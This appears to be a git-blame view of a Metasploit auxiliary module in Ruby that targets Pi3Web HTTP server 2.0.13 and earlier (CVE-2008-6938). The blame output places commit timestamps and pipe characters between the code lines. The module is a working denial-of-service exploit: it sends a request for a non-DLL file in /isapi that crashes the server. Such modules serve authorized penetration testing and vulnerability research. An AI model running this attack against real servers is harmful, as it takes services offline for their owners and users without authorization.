2010-05-03 17:13:09 +00:00
|
|
|
##
|
2014-10-17 16:47:33 +00:00
|
|
|
# This module requires Metasploit: http://metasploit.com/download
|
2013-10-15 18:50:46 +00:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
2010-05-03 17:13:09 +00:00
|
|
|
##
|
|
|
|
|
2008-11-16 04:35:47 +00:00
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Auxiliary
|
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
|
|
include Msf::Auxiliary::Dos
|
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
2014-03-11 16:10:39 +00:00
|
|
|
'Name' => 'Pi3Web ISAPI DoS',
|
2013-08-30 21:28:54 +00:00
|
|
|
'Description' => %q{
|
2014-03-11 16:10:39 +00:00
|
|
|
The Pi3Web HTTP server crashes when a request is made for an invalid DLL
|
|
|
|
file in /isapi for versions 2.0.13 and earlier. By default, the non-DLLs
|
|
|
|
in this directory after installation are users.txt, install.daf and
|
|
|
|
readme.daf.
|
2013-08-30 21:28:54 +00:00
|
|
|
},
|
|
|
|
'Author' => 'kris katterjohn',
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'References' => [
|
|
|
|
[ 'CVE', '2008-6938'],
|
|
|
|
[ 'OSVDB', '49998'],
|
|
|
|
[ 'EDB', '7109' ]
|
|
|
|
],
|
|
|
|
'DisclosureDate' => 'Nov 13 2008'))
|
|
|
|
|
|
|
|
register_options([
|
|
|
|
OptString.new('FILENAME', [ true, 'File in /isapi to request', 'users.txt' ])
|
|
|
|
])
|
|
|
|
end
|
|
|
|
|
|
|
|
def run
|
|
|
|
begin
|
|
|
|
o = { 'uri' => "/isapi/#{datastore['FILENAME']}" }
|
|
|
|
|
|
|
|
c = connect(o)
|
|
|
|
c.send_request(c.request_raw(o))
|
|
|
|
|
|
|
|
print_status("Request sent to #{rhost}:#{rport}")
|
|
|
|
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
|
|
|
|
print_status("Couldn't connect to #{rhost}:#{rport}")
|
|
|
|
rescue ::Timeout::Error, ::Errno::EPIPE
|
|
|
|
end
|
|
|
|
end
|
2008-11-16 04:35:47 +00:00
|
|
|
end
|